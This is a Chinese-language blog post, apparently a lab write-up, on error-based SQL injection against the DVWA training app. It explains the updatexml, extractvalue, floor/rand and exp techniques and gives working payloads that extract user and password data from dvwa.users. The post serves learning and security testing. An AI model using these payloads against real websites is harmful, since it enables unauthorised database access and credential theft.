DVWA SQL Injection - 报错注入

报错注入

我当前的理解,报错注入主要是用于无正常回显但是存在异常回显时;比如 SQL 语句执行正常时页面只给你弹出操作成功;但是执行失败时却会告知你失败的信息(通过提示框或者调试器中的注释输出等)

本篇报错注入的学习以 dvwa sql injection 为例,这个题正常回显与异常回显都有,本次我们不去看它存在的正常回显,利用异常回显实现注入

updatexml

这个函数是 mysql 用于实现 xml 文件的替换更新,主要涉及到三个参数:第一个参数是 xml 文档对象,第二个参数是用于定位的 xpath 语句,第三个参数是要替换的新值;

关键的报错点在 xpath 语句那里,xpath 语句可以使用 SQL 语句进行拼接,拼接后检查是否符合 xpath 语法,不符合的话会报错输出,常用的诱发元素为 ~0x7e

这时按照之前的步骤就能爆破出最后的内容了,注意我们的爆破点是位于 concat 函数内部的子查询,这里只能返回一行数据,通常我们使用 group_concat 合并多行结果即可,但是 updatexml 的报错只支持 32 位,因此最好一行一行的使用 concat limitsubstring 逐个爆破

id=1' and updatexml(21321, concat(0x7e, substring((select concat(user, '|', password) from dvwa.users limit 1,1), 3, 31),  0x7e), 99) -- -

长度为 31 是因为开头有个 ~

extractvalue

该函数与 updatexml 类似,也是利用的 xpath 解析错误实现的报错注入,只不过一个类似于 get 方法从 xml 文档中利用 xpath 提取目标内容;另一个类似于 set 方法从 xml 文档中利用 xpath 定位目标内容并替换;

extractvalue 第一个参数为 xml 文档对象,第二个参数为 xpath 语句,其利用如下:

1、payload:

?id=1' and extractvalue(1, 0x7e) -- -

2、数据获取

?id=1' and extractvalue(1, concat(0x7e, 
substring(
    (select group_concat(user, '|', password) from dvwa.users), 31, 31
)
)) -- -

依旧是存在 32 位显示问题

主要利用 substring 手动解决

floor

floor 函数使用于返回小于等于括号内该值的最大整数

原理:rand 伪随机函数与 order by 或 group by 函数的冲突:例如 floor(rand() * 2) 一开始计算得到了 0,group by 根据 0 分类统计,在写入要返回的虚表时 floor(rand() * 2) 还要计算一次结果,这次结果却是 1 ,这样就可能导致冲突

利用:floor(rand(0) * 2) 产生的随机数固定为 01101

1、一开始得到 0 虚表中没有 0 这一项,需要插入 key = floor(rand(0) * 2) value = 1 这一项,插入时 rand 重新计算得到 1,误插入了 (1, 1) 而非 (0,1);
2、继续 rand(0) 计算得到 1 这时存在 key = 1 的项,value + 1 即可;
3、继续 rand(0) 计算得到 0 这时不存在 key = 0 的项,需要插入 key = floor(rand(0) * 2) value = 1,rand 重新计算得到了 1,又插入了 (1, 1) 这一项,键值冲突,报错!

Tips:以 rand(0) 为基础的 payload 需要至少三条数据项才能实现报错注入

1、简单的检测下报错注入是否成功:注入成功

?id=1'+union+select+count(*),+concat(floor(rand(0)*2), 0x7e, database())+x+from+information_schema.tables+group+by+x+--+-

2、注入成功后只需要将 payload 替换即可:很明显这个报错回显也存在长度限制:62 位

?id=2'+union+select+count(*),+concat(floor(rand(0)*2), 0x7e, (select group_concat(user, '|', password) from dvwa.users))+x+from+information_schema.tables+group+by+x+--+-

3、利用 substring 与 limit 即可

?id=2'+union+select+count(*),+concat(floor(rand(0)*2), 0x7e, (substring((select group_concat(user, '|', password) from dvwa.users),1, 62) ) )+x+from+information_schema.tables+group+by+x+--+-

exp

exp 函数报错的本质是溢出报错,该函数会在传入值大于 710 时产生溢出,因此利用子查询默认返回值为 0 与取反操作即可得到一个让 exp 溢出的极大值,并利用报错执行了子查询内容获得了有意义的回显值

?id=1' and exp(~(select * from (select user())x)) -- -

并且报错回显不存在长度限制,比较方便:

?id=1' and exp(~(select * from (select group_concat(0x7e, user, 0x7e, password) from dvwa.users)x)) -- -

但是在 5.7 版本以上已经被修复了,本例是在 mysql-5.5.29 复现成功,在 mysql-5.7.26 复现失败:下图为失败效果,payload 执行失败

Ref

posted @ 2022-01-30 14:25  Butterflier  阅读(619)  评论(0编辑  收藏  举报